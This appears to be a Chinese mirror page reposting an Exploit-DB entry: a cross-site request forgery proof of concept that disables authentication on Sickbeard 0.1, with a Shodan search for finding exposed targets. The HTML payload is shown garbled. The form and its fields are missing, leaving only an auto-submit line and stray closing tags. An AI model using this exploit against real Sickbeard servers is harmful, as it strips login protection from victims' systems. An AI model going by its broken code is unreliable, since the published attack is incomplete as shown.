Sickbeard 0.1 – Cross-Site Request Forgery (Disable Authentication) - 体验盒子

作者： bdrake

日期： 2020-07-26

类别：

webapps

平台：

multiple

来源：https://www.exploit-db.com/exploits/48712/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

# Exploit Title: Sickbeard 0.1 - Cross-Site Request Forgery (Disable Authentication)

# Google Dork: https://www.shodan.io/search?query=sickbeard

# Date: 2020-06-06

# Exploit Author: bdrake

# Vendor Homepage: https://sickbeard.com/

# Software Link: https://github.com/midgetspy/Sick-Beard

# Version: alpha (master) -- git : 31ceaf1b5cab1884a280fe3f4609bdc3b1fb3121

# Tested on: Fedora 32

# CVE : NA

<html>

<body>

<!--

Clearing username and password disables authentication.

Requires a server restart for changes to take effect.

-->

</form>

document.forms[0].submit();

</script>

</body>

</html>